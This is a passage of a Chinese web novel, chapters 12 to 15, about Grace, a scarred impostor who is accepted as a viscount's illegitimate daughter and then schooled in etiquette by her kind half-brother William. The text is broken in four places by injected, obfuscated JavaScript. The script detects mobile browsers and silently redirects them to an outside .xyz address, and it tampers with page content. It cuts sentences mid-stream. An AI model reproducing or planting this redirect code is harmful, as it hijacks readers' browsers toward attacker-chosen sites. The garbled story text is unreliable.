凯瑟琳轻轻拍了拍威廉的手臂，示意他冷静。 “哥哥，我们只是不想让父亲的名誉受损。” 她转向母亲艾米莉夫人，眼中闪过一丝精明。 “母亲，前些日子我们不是正看到父亲书房里的那副画像吗？既然格蕾丝小姐声称是她的女儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599204|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不如让大家看看，她们之间是否真有相似之处？” 艾米莉夫人在那之后就一直沉默地坐在壁炉旁的高背椅上，睨视着她的儿子。 她保养得宜的脸上看不出表情，只有那双与威廉如出一辙的绿眼睛闪烁着冰冷的光芒。 “查尔斯，”她唤来管家，“去书房把那副画像取来。” 等待的几分钟里，客厅里的气氛再度紧张了起来，安静得几乎能听见针落地的声音。窗外的雪还在静静地下着，壁炉里的木柴发出十分轻微的爆裂声。 格蕾丝站在原地一动不动，几乎像一尊雕像了。威廉几次想开口说些什么，但最终只是烦躁地扯了扯领结。 管家很快回来了，手中捧着一个精致的画像框。 艾米莉夫人接过相框，眼神在上面停留了片刻，才缓缓递给了身旁的伯爵夫人。 “天哪！”伯爵夫人小声惊呼，“这可真是……”她的话并没有说完，但瞪大的眼睛已经说明了一切。 画像在宾客间传递，每到一处都会引起一阵惊叹和窃窃私语。 当画像传到威廉手中时，他愣住了。 画中的女子有着惊人的美貌——浓密的亚麻色头发如瀑布般垂落，那双茶褐色的眼睛仿佛会说话，欲言未语之间仿若明珠泪垂，皮肤更是如瓷器一般白皙无瑕。但最令人震惊的是，那五官与埃斯特家族的特征如出一辙。 “这是……”威廉的声音有些干涩，眼前所见有些超脱了他的认知。些许不好的预感在心头盘旋。 “你父亲的情妇。”艾米莉夫人的声音平静得可怕，“至少他在这一点上没有撒谎，她确实很美。” 画像最终回到了艾米莉夫人手中。 她站起身，缓步走向格蕾丝，每一步都像踩在她的心上。 “现在，格蕾丝小姐，”她的声音轻柔却不容拒绝，“请摘下你的面纱吧，让大家看看你是否真的与这位‘母亲’相似。” 格蕾丝后退了一步。 “我……” “怎么？你不敢吗？”玛格丽特尖声道，“还是说你根本就是个冒牌货？” 凯瑟琳也走上前来，脸上带着胜券在握的微笑。 “如果她真是父亲的女儿，为何不敢以真面目示人？除非……”她的目光变得锐利，“她知道自己与画像毫无相似之处。” 宾客们的目光如利箭般射向格蕾丝。 她能感觉到汗水顺着自己的后背滑下，但她的决计不能退缩：“我从未说过自己与母亲长得相似。” “但信上说了。” 凯瑟琳迅速反击，从卢卡斯手中拿过那封信，“看这里——‘我们的女儿有着与你一般相似的美丽相貌’。如果这是真的，那么你应该与画像中的女人至少有些相似之处。” 威廉皱起眉头：“凯瑟琳，别太过分了。” “过分？”凯瑟琳冷笑，“有人冒充我们的姐妹来分家产，这才是真的叫做过分。” 艾米莉夫人已经失去了耐心。 “摘下面纱。”她命令道，“否则就立刻离开这间房子。” 客厅里鸦雀无声，所有人都屏息等待着格蕾丝的反应。 她沉默了片刻，终于缓缓抬起手，解开了系在脑后的面纱绳结。 面纱飘落的那一刻，客厅里响起一片惊呼。 12. 第十二章 来自女人内心深处的诅咒/非常咸，非常苦，非常好。 ——《如何抑制女性写作》 格蕾丝摘下面纱后，客厅内顿时发出一阵惊呼。 格蕾丝的相貌几乎看不出原来的样子了，即便天花已经痊愈，这场疾病带给她的面部的创伤面仍然很大，原本干净白整的面上布满了崎岖的伤痕，更可怕的是她左脸上的那一个深深的痘疤，明眼人都能看出来格蕾丝的相貌很难再恢复原貌了。 格蕾丝不顾场上宾客们的抽气，再一把拉下她灰扑扑的裙装，露出大半布满创痕的肩膀，直言道：“瞧吧！这就是我同父异母的姐姐们与慈爱的‘母亲’所对我做的。” “那样严寒的冬日，那样凛冽的大风，让我与蓓丽去为她们拣取柴火。试想若不是怀有恶毒的心思，怎会有如此的行为。” 宾客们议论纷纷。 “纵使命运眷顾了我，让我在毒蛇盘踞的阴谋中活了下来，” “可再看看我脸上的伤疤，身体上的伤痕，” “没有人不会怜惜我的过往。” 她的声音不高，却足以让整个客厅陷入死寂。 窗外雪下大了，鹅毛般的大雪纷纷洒洒，落在这个庄园里，庄园很安静，天地一色，唯有洁白。 格蕾丝用指尖轻轻抚过左脸的疤痕，眼中闪过一丝痛楚，但很快又被冷意取代，她接着说道：“只有她们，仍然在大雪纷飞的冬日强迫我劳作，使我的伤痕难以恢复。” “限制我的出行，严禁我来到宴会上。” “若这不是对我的容貌心存妒嫉，何以解释？” 卢卡斯·霍华德站在人群边缘，露出一抹玩味的笑容。他适时地开口，假装面带沉痛地道：“关于这一点，我可以为这位勇敢坚强的小姐作证。方才确有仆从阻拦格蕾丝小姐进入宴会。” 这句话如同投入油锅的火星，瞬间点燃了宾客们的情绪。议论声愈发激烈，许多人看向玛格丽特和凯瑟琳的眼神已带上谴责。 两人脸色煞白，颤抖着想要反驳，却拿不出更多的证据，更是被众人的目光钉在了原地。 格蕾丝的悲惨遭遇与卢卡斯的作证相契合，再没有人质疑她的身份，更无人提及她的相貌是否与子爵相似。 格蕾丝装作伤心地低着头，唇角不显眼地扬起一抹得逞的笑意。 威廉眉头紧锁，目光在格蕾丝与两个妹妹之间来回游移。他其实原本对格蕾丝的私生女身份也有些许的犹疑，可眼前妹妹们惨白的脸色，格蕾丝悲愤的控诉，又想起格蕾丝的泪水，他确信了这一点。 他转向父亲，低声请示：“父亲，我们不能任由流言继续发酵，这对家族的声誉不利。” 子爵大人沉默地注视着格蕾丝，眼神复杂难辨。 他当然知道真相。格蕾丝并非他的私生女，真正与他有血缘关系的是那个已经死去的蓓丽。可此刻，面对满厅宾客的注视，面对长子期待的目光，他陷入了长久的沉默。 时间一分一秒地流逝，宾客们的讨论声渐渐低了下去，所有人的目光都聚焦在这位一家之主身上。 终于，子爵缓缓开口：“这件事……是我们埃斯特家族的家事，需要再议。” 然而，卢卡斯立刻站了出来，高声反驳：“子爵大人，恕我直言，这样的丑闻若不立即澄清，只会让流言愈演愈烈。作为贵族，坦诚与公正才是维护声誉的根本。” 威廉也看向父亲，眼中带着不赞同：“父亲，格蕾丝已经遭受了太多不公，我们不能继续忽视她的存在。” 宾客们的目光如针刺般扎在子爵身上。他环视一周，最终将视线定格在格蕾丝脸上。她的眼神倔强而冷静，没有丝毫怯懦。 不知是出于对妻子艾米莉夫人常年高压管控的报复，还是对死去的蓓丽的愧疚，亦或是对格蕾丝这番大胆行径的好奇，子爵缓缓点头，声音低沉而清晰：“格蕾丝……确实是我的女儿。” 客厅内一片哗然。 玛格丽特和凯瑟琳几乎同时惊呼出声：“父亲！” 格蕾丝微微欠身，向子爵大人行了一个礼，眼中闪过一丝难以察觉的复杂情绪。她抬起头时，脸上又恢复了那种楚楚可怜的神情，仿佛刚才那一瞬的异样从未存在过。 “感谢您的仁慈，父亲大人。”她的声音轻柔，却足以让在场的每一个人都听得清清楚楚。 艾米莉夫人的脸色变得铁青，她紧握着扇子的手指节发白，显然在极力克制着自己的愤怒。 玛格丽特和凯瑟琳则站在母亲身后，眼中充满了难以置信和愤恨。她们怎么也没想到，父亲竟然会当众承认这个来历不明的女孩。 威廉则松了一口气，走上前轻轻拍了拍格蕾丝的肩膀，温和地说道：“欢迎回家，妹妹。” 格蕾丝回头复杂地看了他一眼说道： “谢谢您，我亲爱的威廉哥哥。” 宾客们见状，纷纷上前表示祝贺和同情。 格蕾丝被围在中间，接受着众人的慰问。她的表现无可挑剔，每一个回应都恰到好处，既不过分热情，也不显得冷漠。 卢卡斯站在一旁，嘴角挂着一抹玩味的笑容。 他注意到格蕾丝在人群中的游刃有余，这让他对这个女孩产生了更大的兴趣。 他走上前，微微鞠躬：“格蕾丝小姐，您的勇气真是令人钦佩。如果有任何需要帮助的地方，请随时告知我。为您这样的女士效力，对我而言是至高无上的荣幸。” 格蕾丝漠然地点头：“谢谢您，卢卡斯先生。您的支持对我来说也意义重大。” 宴会的气氛逐渐恢复，但仍然暗流涌动。 艾米莉夫人终于按捺不住，冷冷地说道：“既然事情已经解决了，我想宴会也该继续了。格蕾丝，你身体还未完全康复，不如先回房休息。” 子爵大人皱了皱眉，但并未反对。格蕾丝顺从地点头：“是的，母亲大人。我确实有些疲惫。” 威廉担忧地说道：“我送你回房吧。” 格蕾丝摇摇头，微笑道：“不用了，哥哥。您还有很多客人要招待。我自己可以。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599205|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她向众人行了一礼，缓缓离开了客厅。走出门的那一刻，她的表情瞬间冷了下来。走廊里空无一人，只有格蕾丝的脚步声在寂静中显得格外清晰。 回到房间，她立刻关上门，靠在门板上深吸了一口气。镜子里的自己已然面目全非，但她的眼中却闪烁着痛苦又坚定的光芒。 “这只是第一步。”她低声自语。 与此同时，在楼下的书房里，子爵大人独自一人站在窗前，手中握着一杯烈酒。他的目光落在远处，思绪却飘回了过去。 多年前的那个夜晚，他与蓓丽的母亲，那个温柔却命运多舛的女人，那个埃斯特家族的私生女，在花园里私会的情景还历历在目。他答应过会照顾他们的女儿，却最终没能兑现承诺。 他们之间的结合是罪孽，但罪孽并未因远离而终结。 “蓓丽……”他喃喃道，眼中有了些许的悔恨。 * 格蕾丝站在窗前，手指轻轻摩挲着窗户上的纹路。 新房间比她原先所住的地方宽敞得多，冬日的阳光透过明亮的彩漂窗台倾洒了进来，一齐落在地上闪闪发光。地上铺着柔软的波斯地毯，细密精致的花纹在阳光下清晰可见。 她低头看着自己粗糙的手指，指节处还留着冻疮的痕迹，和这间华丽的卧室格格不入。 但她身上已换上了低领掐腰的青色绸缎长裙，忽略脸上的痘疤和手上的粗糙，表面上看去，她与一位真正的贵族小姐几乎毫无差别了。 “格蕾丝小姐，您的茶。” 新来的贴身女仆瑞娜将茶杯轻轻放在茶几上，体贴地将茶杯把手调转至右侧。 “谢谢。” 门突然被推开，女管家梅德带着一阵冷风走了进来。 她灰白的头发梳得一丝不苟，嘴角下垂，神色严肃板正： “格蕾丝小姐，夫人为您安排的礼仪课将在半小时后开始。威尔逊女士已经在小客厅内等候您了。” 格蕾丝放下茶杯，瓷器相碰之间发出了清脆的声响。 “我马上就去。” 梅德的目光扫过她随意搭在椅背上的披肩，皱起了眉头：“一位淑女应当保持房间的整洁。瑞娜，你难道没有教过小姐如何整理衣物吗？” 瑞娜的脸色瞬间变得苍白。 格蕾丝看到她紧张地绞紧了裙子。 “是我还没来得及学习。” 格蕾丝站起身，主动将披肩折好放在衣柜里。这个动作让她后背的伤疤隐隐作痛，那些因天花反复出痘留下的痕迹并未完全消除。 小客厅的窗帘半拉着，半数的阳光被拦截在外，只有少数的阳光丝丝缕缕地漫进来。 威尔逊女士站在房间的正中央，手里握着一根藤条，细细长长的藤条在冰凉的地板上投下一道阴影。她是个瘦高的女人，颧骨突出，不苟言笑，眼睛总是下垂着看人。 “迟到了三分十二秒。” 威尔逊女士看了眼怀表，“淑女应当提前五分钟到达约定地点。脱掉你的外套，格蕾丝小姐。” 13. 第十三章 礼仪不过是优雅的虚伪。 ——《不可儿戏》 格蕾丝咬紧牙关。 她知道接下来会发生什么，这已经是本周第三次了。 藤条抽在小臂上的疼痛比预想的更剧烈，她死死咬住下唇才没叫出声来。 “挺直脊背！”威尔逊女士厉声道，“一位子爵小姐不会像市集上的鱼贩那样弓着背走路！” 几乎一整个上午都在重复着枯燥的行走、行礼、坐姿训练。 格蕾丝的膝盖因为不断屈膝而隐隐作痛，后背的肌肉也因长时间保持挺直而痉挛。 当威尔逊女士终于宣布午休的时候，她的衬衣已经被汗水浸了个透。 走廊里传来脚步声。 格蕾丝抬头，看见威廉·埃斯特站在门口。阳光从他背后照进来，在地板上投下修长的影子。他身穿着深棕色的骑马装，手里还拿着马鞭，显然是刚从外面回来。 “威尔逊女士，”威廉的声音带着贵族特有的那种温和却不容置疑的语调，“我想父亲应该说过，格蕾丝小姐的课程进度可以适当放缓。” 威尔逊女士的嘴唇抿成一条细线：“威廉少爷，子爵夫人明确要求——” “我会亲自向母亲解释。” 威廉打断她，目光落在格蕾丝红肿的手背上，眉头几不可察地皱了一下，“格蕾丝，能和我到花园走走吗？” 冬日里的花园还带着几分寒意，小块小块的雪堆积在树叶上，但阳光已经足够温暖。 格蕾丝始终保持在威廉身后半步的距离，走了会儿，她的思绪开始漫无目的地开始神游，思考着等下该如何拿到厨房那份属于自己的午餐，瑞娜已经连续好几天没有取到足够分量的午餐了。 “你不必忍受这些。” 威廉突然停下脚步，转身看着她，“我知道母亲和妹妹们对你的态度，但父亲既然承认了你的身份，你就该得到应有的尊重。” 格蕾丝惊醒了过来，思绪一转，垂下了眼睛，长长的睫毛在脸上投下小小的一片阴影。 她回答道：“谢谢您的关心，威廉少爷。但我确实需要学习这些……毕竟我以前的生活……” “叫我威廉就好。” 他将声音尽力柔和了下来，“毕竟我们是亲兄妹，不是吗？” 格蕾丝抬起头，第一次认真打量这个名义上的兄长。 他的眼睛是埃斯特家特有的松石绿，眼中的翠色较他的两个妹妹玛格丽特和凯瑟琳更深沉，宛如一汪碧绿幽深的潭水，下巴的线条则坚毅，与子爵如出一辙。不出意外，再过几年，他也会长成一位绅士英俊的男性。 一种复杂的情绪在她心中翻涌，这个真诚的年轻人正把她当作血脉相连的亲人，而她却…… “你的手。” 威廉突然握住她的手腕。 格蕾丝本能地想抽回手，却被他小心地托住，“威尔逊女士做得是太过了，我会与母亲商议，等会儿管家会给你送些膏药。” “你穿这件衣服很合适，很漂亮，你该多出来活动活动。”威廉顿了顿说。 他的手掌温暖干燥，与格蕾丝记忆中那个在冬日里安慰她的少年重叠在一起。 格蕾丝突然感到一阵窒息般的愧疚。 她迟疑着尝试开口：“其实您不必……” “威廉少爷！” 管家的声音从远处传来，“子爵大人找您，关于下个月的狩猎聚会。” 威廉松开手，对格蕾丝歉意地笑了笑：“晚些时候我再来看你。” 他转身离去。 格蕾丝独自站在花园里，阵阵洌风吹拂起她额前的碎发。她抬起手腕，低头看着刚刚被威廉握过的地方，那里似乎还残留着温度。 威廉的善意是个意外也是预料之中，她思考着到底要不要利用他。接近家族继承人意味着接近权力中心，也接近她复仇计划的核心。 “看来你的表演很成功。” 格蕾丝猛地转身。卢卡斯·霍华德不知何时出现在她身后，靠在一棵修剪成球状的灌木上，脸上挂着惯常的玩世不恭的笑容。 “我不知道你在说什么。”格蕾丝冷静地说，同时迅速环顾四周确认没有旁人。 卢卡斯轻笑一声：“得了吧，格蕾丝。或者我该叫你……冒牌货？” 格蕾丝的心跳漏了一拍，但她的表情丝毫未变：“如果你来是为了威胁我……” “威胁？”卢卡斯夸张地捂住胸口，“你伤了我的心。我是来祝贺你的。子爵承认了你的身份，威廉少爷对你青睐有加……相当了不起的成就，考虑到你的……真实情况。” 他走近一步，声音压低：“我只是好奇，当威廉知道他悉心教导的‘妹妹’其实是个骗子时，会作何反应？” 格蕾丝直视他的眼睛：“你想要什么？” 卢卡斯微笑说：“什么也不，我亲爱的格蕾丝。” 他看了看怀表说道：“时间到了。我们下次见，亲爱的骗子小姐。” 不等格蕾丝回应，卢卡斯就转身离开了，他的脚步声很快消失在花园小径上。 回到房间后，格蕾丝发现梳妆台上多了一个小巧的瓷盒。 打开后，一股淡淡的药香飘散出来。 盒子里装着淡绿色的药膏，旁边压着一张字条：“每日三次，有助于消肿。——威廉” 格蕾丝将字条取下，放入抽屉里折叠收好，这是为数不多的真正属于她的东西。 * 第二天，清晨的阳光仍旧如昨日一般透过窗帘的缝隙洒进房间。相较于昨日的时间，格蕾丝已经穿戴整齐地坐在梳妆台前，等待着瑞娜为她梳理那头过于浓密的栗色长发。 “格蕾丝小姐，您今天想梳什么样的发型？”瑞娜问道，手指熟练地将一绺头发挽起。 格蕾丝注视着镜中的自己，经过修养后的脸比起之前好上了许多，痘疤几乎全都消失不见了，唯有左脸那个疤痕，用了许多方法都难以彻底消除。这张脸庞上，这具身体中，或许最讨喜的只剩下这双浅褐色的眼睛了，格蕾丝心想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599206|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “随你喜欢吧。”她轻声回答。 头发还未梳理完毕，门外就响起了敲门声。 格蕾丝和瑞娜交换了一个疑惑的眼神。这个点，应该还没到女管家梅德夫人平日里过来的时间。 "请进。"格蕾丝说道。 门开了，站在门口的却是一个高瘦的男人，穿着贴身的仆装，领口和袖口都熨烫得一丝不苟。格蕾丝立刻认出了他，他是威廉的贴身男仆约翰。疑惑充满了她的内心，但脸上已经迅速挂上了礼貌的微笑。 “早上好，约翰先生。”她微微颔首。 约翰站在门口，面上带着恭敬的表情。“格蕾丝小姐，威廉少爷请您今天去他的书房上礼仪课。”他的声音平稳，眼神下垂不与格蕾丝对视。 “真是荣幸。”格蕾丝站起身，整理了一下裙摆，“请带路吧，约翰先生。” 走出房门时，格蕾丝刻意落后约翰半步，让瑞娜跟在身后。走廊里铺着厚实的地毯，他们的脚步声被完全吸收。格蕾丝的目光落在约翰的后背上，眼神中闪过一丝鄙夷。 这个在威廉感染天花时躲得远远的懦夫，现在居然还能站在这里，继续做他的贴身男仆？格蕾丝在心里冷笑。如果是她，早就把这种不忠的仆人赶出府邸了，威廉果然太过仁慈。 “小姐？”瑞娜小声提醒，格蕾丝这才发现自己走神了。她迅速调整表情，重新挂上那副温顺的面具。 约翰在一扇橡木门前停下，轻轻敲了两下。 “请进。”门内传来熟悉的男声。 约翰推开门，侧身让格蕾丝先行。她深吸一口气，迈步走进了书房。 威廉的书房比她想象中的要宽敞许多。书房三面墙打满了木制书架，里边满满当当地塞满了各类用皮革作封面的书籍，书籍看上去并不大新，但是很干净，显然有人常常打扫。书房的正中央是一张宽大的红木书桌，上面整齐地摆放着几叠文件、一瓶墨水瓶和一支细长羽毛笔。阳光透过高大的落地窗洒进来，房间透亮。 威廉坐在书桌前办公，听到脚步声，他抬起了头。见到格蕾丝的瞬间，他的嘴角就弯起了微笑，但是并非是惯常的那种，具体是什么样的笑容，格蕾丝觉得有些难以形容，但是确认比平日里所见到的那些温暖许多，或许是今日的阳光特别明亮的缘故吧，格蕾丝心想。他今天穿着一件墨绿色的外衣，与他的深绿的瞳色相衬，显得很漂亮。尽管只比格蕾丝年长五岁，但他看起来已经十分沉稳。 “格蕾丝，早上好。”威廉向她走来。 格蕾丝立刻行了一个标准的屈膝礼，头低垂着，姿态谦卑。“早上好，威廉哥哥。感谢您亲自教导我礼仪。” 威廉伸手虚扶了一下，“我想我们之间不必这么拘礼，起来吧。再让你行礼你肯定偷偷在心里骂我呢。”他的目光扫过格蕾丝的发顶，似乎能看透她精心维持的表面恭敬。 格蕾丝直起身，但眼睛仍然低垂，不与威廉对视。 “坐吧。”威廉指了指书桌前的一把椅子，“我们今天从最基本的开始。” 14. 第十四章 若要美丽的眼睛，请看到别人的优点；若要美丽的双唇，请只说善意的言语；若要优雅的姿态，请记住你从不孤单。 ——AudreyHepburn 格蕾丝小心地按照威尔逊夫人先前所教学的坐姿坐下。脊背笔直，双手交叠置于膝上。 “哦，格蕾丝，放松些，我可爱的妹妹。”威廉的声音透着笑意，“果然不该让威尔逊夫人教你，看把你教学得像一个小老太太了。” “贵族女性坐下时，背部通常是挺直的但不僵硬，肩膀放松一些，下巴再微微抬起。”威廉在旁指导着。 格蕾丝跟着威廉的指示一点点调整着姿势，但一举一动之间动作还是显得很刻意。 威廉转身回到了桌子前，手撑着脑袋看了会，或是觉着格蕾丝一顿一顿的动作很可爱，偷偷笑了起来。 格蕾丝听见威廉压着的笑声，抬起头用眼神瞪了一眼，但又怕好不容易调整好的姿势功亏一篑，所以全身只有脑袋在动，眼神在恶狠狠斜着威廉，整个人像个布娃娃一样，精致可爱。 威廉见状轻咳一声，收敛了笑容。 “还是有些太僵硬了”，“我亲爱的妹妹，你几乎让我觉你是一名勇敢的绅士，即将要上前线去打仗的那种。想象一下你的脊椎是一根柔软的芦苇，而不是木棍。” 格蕾丝试着放松，但还是效果不佳。 “瑞娜，”威廉转向站在一旁的女仆，“能请你帮格蕾丝小姐调整一下肩膀的位置吗？” 瑞娜快步上前，轻轻按住格蕾丝的肩膀向后下方压了压。“格蕾丝小姐，这样会舒服些。” 格蕾丝跟着瑞娜的力道试着放松自己的脊背，姿态渐渐有了样子。 “很好，现在保持这个姿势。”威廉接着说：“接下来是手的摆放。不要绞在一起，自然放松地放在大腿上，手指可以轻轻交叠。” 格蕾丝照做了，但她的手指仍然紧绷，仿佛想要抓住什么东西似的。 威廉站起身，绕到她身后。随着他的靠近，格蕾丝能闻到他身上淡淡的香味，是一种鸢尾根混合着一丝淡淡的墨水的清香。他的手指轻轻搭在她的肩膀上，“放松，格蕾丝。没有人会吃了你。” 这亲昵的举动让格蕾丝浑身一僵。在福利院的十六年里，几乎没有一个男性像威廉这样触碰过她，她本能地想要躲开，但理智让她强迫自己留在原地。 “抱歉，”威廉似乎察觉到了她的不适，立刻收回了手，“是我太过冒犯了。”他脸上的神情又恢复了那种克制温和的样子，和格蕾丝大多数时候所见到的一样。 格蕾丝摇摇头说道：“没有关系的，威廉哥哥。我只是，刚开始有些不太适应。” 威廉却没立刻回答，他转身回到了座位上，若有所思地看着她。 “你知道吗？我第一次上礼仪课时，把茶打翻在了公爵夫人的裙子上。” 格蕾丝惊讶地抬起头，她其实很少直视威廉的眼睛，因为那双眼睛里不论呈现的不论是善意还是温和都会使她感到愧疚。这一次，那双翠绿色的眼睛里盛满了温和的笑意，没有一丝嘲笑或轻蔑。 “真的吗？”她忍不住问道，声音里带着真实的惊讶。 “千真万确。”威廉笑道，“那时候我十二岁，紧张得手都在抖。老管家差点当场晕过去。” 格蕾丝嘴角微微上扬，紧绷的肩膀终于放松了一些。“那……公爵夫人怎么说？” 威廉假装思考了一会儿，然后模仿起一位老妇人的声音说道：“她大笑了三声，然后说‘这孩子有胆量，我喜欢’。”这声音逗得格蕾丝轻笑出声。 气氛突然之间变得轻松了起来。格蕾丝发现自己的手指不再绞在一起，背部也自然地挺直了。 “就是这样，”威廉赞许地点头，“优雅来自于自信，而不是刻意的模仿。” 格蕾丝立马不服地回复了：“那按这个逻辑来说，第一个优雅的人难道是凭空自信的咯！” 威廉一愣，立马哈哈大笑了起来，被格蕾丝逗得直摆手，那双绿色的眼睛生动鲜明地注满了笑意。 威廉的笑声在阳光明媚的客厅里回荡，连站在角落的瑞娜都忍不住抿嘴偷笑。格蕾丝看着他们，突然意识到自己刚才说了多么大胆的话，脸颊立刻泛起淡淡的红晕。 “我亲爱的哲学家小姐，”威廉好不容易止住笑，用手帕擦了擦眼角，“你说得对极了。第一个优雅的人大概是在无数次出丑后，才学会假装自信的。” 他站起身，走到窗前拉开厚重的窗帘。窗外的阳光倾泻而入，为格蕾丝的栗色长发镀上一层淡淡的光晕。“那么不如我们换个方式？想象你是一只在晒太阳的猫。” 格蕾丝眨了眨眼：“猫？” “对，就是花园里那些傲慢的小家伙。”威廉模仿着猫的姿态，慵懒地伸展了一下，“它们从不会担心自己的尾巴摆得对不对，却总是优雅得让人嫉妒。” 这个古怪的比喻让格蕾丝忍俊不禁。她试着放松身体，像午后打盹的猫咪那样微微后仰。阳光透过蕾丝窗帘在她裙摆上投下斑驳的光影，这一刻她忽然觉得，或许优雅真的不该是种折磨。 “太完美了！”威廉轻声赞叹，“看，连瑞娜都看呆了。” 女仆慌忙低下头，但格蕾丝已经从镜子的倒影里捕捉到她惊讶的表情。镜中的少女姿态舒展，浅黄色的裙装衬得她像一朵清晨绽放的矢车菊。 “现在试试站起来。”威廉伸出手，“记住猫咪起身时的样子。” 格蕾丝顺从地将指尖轻轻搭在他的手掌上。这一次，她没有因为触碰而僵硬。当她站定时，裙摆如花瓣般自然垂落，没有一丝刻意调整的痕迹。 “天啊，”门口传来威尔逊夫人的声音，“威廉少爷，您对我的学生做了什么？” 严厉的家庭教师抱着厚厚的书籍站在那里，眉头紧锁。格蕾丝条件反射地绷直了背脊，却在余光里看见威廉悄悄对她眨了眨眼。 “只是在教她一些……更实用的技巧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599207|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”威廉转向夫人，脸上又恢复了那种得体的微笑，“您不觉得格蕾丝现在看起来更自然了吗？” 威尔逊夫人板着脸狐疑地打量着格蕾丝，最后不得不承认：“确实……不那么像木偶了。但淑女的仪态——” “——应该像一首好诗，”威廉接过话头，“既有格律，又不失灵动。”他顿了顿说道：“夫人若不信，不如再看看格蕾丝如何行屈膝礼？” 格蕾丝倒吸一口气。屈膝礼她虽然做的不错，但其实每次练习都会因为重心不稳而摇晃，这点被威尔逊夫人指出过好多次了。但在威廉鼓励的目光下，她深吸一口气，回忆着猫咪弓背时的优雅曲线。当她缓缓屈膝时，意外地发现这次居然没有一丝颤抖。 威尔逊夫人似乎有些惊讶和不满，她深深皱起了眉：“这……这确实……” “像月光下的天鹅，不是吗？”威廉的声音里暗藏着骄傲。 格蕾丝站起身时，第一次真切地感受到什么是“优雅”。那不是威尔逊夫人所教导的刻板的规矩堆砌，而是内心深处绽放的从容。她望向威廉，发现他碧绿的眼眸中映着两个小小的自己——不再是那个瑟缩的福利院女孩，而是一位真正的淑女。 格蕾丝忽然明白了威廉所说的秘密："Mannersmakethman."。 紧接着，威廉准备再接再厉，趁着格蕾丝整个人都卸下防备的时候，让她对于礼仪的学习和认知更加轻松。 于是他想了想，准备再教格蕾丝一个有趣的礼仪，是有关于贵族如何打喷嚏。 威廉轻轻拍了拍手，眼中闪烁着狡黠的光芒：“现在，让我们来学习一个非常有趣的贵族礼仪——如何优雅地打喷嚏。” 格蕾丝眨了眨眼，有些困惑：“打喷嚏也需要学习吗？” “当然，”威廉故作严肃地点头，“一个淑女即使在打喷嚏时也要保持优雅。要知道，在维多利亚女王的宫廷里，有人因为打喷嚏太大声而被禁止参加舞会整整三个月呢。” 格蕾丝半信半疑地看着他：“威廉哥哥，你该不会是在捉弄我吧？” 一旁的瑞娜忍不住小声提醒：“小姐，少爷这次说的确实是真的。” 威廉从口袋里掏出手帕，示范性地展开：“首先，当感觉到要打喷嚏时，要迅速但从容地取出手帕。” 他优雅地将手帕对折成三角形：“然后像这样，轻轻抵在鼻尖下方约一寸的位置。”他的动作流畅得像是在表演一场小型哑剧。 格蕾丝试着模仿，但手帕在她手中显得有些笨拙。威廉走近一步，耐心地纠正她的手指位置：“拇指在这里，食指和中指要这样支撑……” 就在这时，格蕾丝突然感到鼻子一痒—— “阿嚏！”一个猝不及防的喷嚏打破了客厅的宁静。 手帕从她手中滑落，她慌乱地捂住嘴，脸颊瞬间涨得通红。威尔逊夫人倒吸一口冷气，瑞娜急忙别过脸去掩饰笑意。 但威廉却突然鼓起掌来：“完美！” 15. 第十五章 伸冤在我，我必报应。 ——《圣经·罗马书》 格蕾丝困惑地抬头，看见威廉正弯腰捡起地上的手帕：“这个喷嚏太及时了，正好展示了错误的示范。” “威、廉、哥、哥！”格蕾丝一字一顿地抗议，但嘴角却忍不住上扬。 威廉将手帕递还给她，眼中带着温暖的笑意：“现在你知道为什么需要练习了。想象一下，如果是在公爵夫人的茶会上……” ——公爵夫人的茶会，她不觉得她能够出到这样的茶会上，就算她可以，埃斯特姐妹和她们的母亲也绝不会允许的。但看到威廉此时真挚温暖的笑容，格蕾丝还是不想让他太过失望。 于是格蕾丝接过手帕，灵机一动：“那威廉哥哥要不要也示范一下正确的打喷嚏？” 威廉愣了一下，随即爽快地答应：“当然可以。”他清了清嗓子，做足了准备姿态。 就在这关键时刻，窗外突然传来一阵响亮的犬吠声。威廉被吓了一跳，一个真实的喷嚏不受控制地冲了出来——“哈啾！” 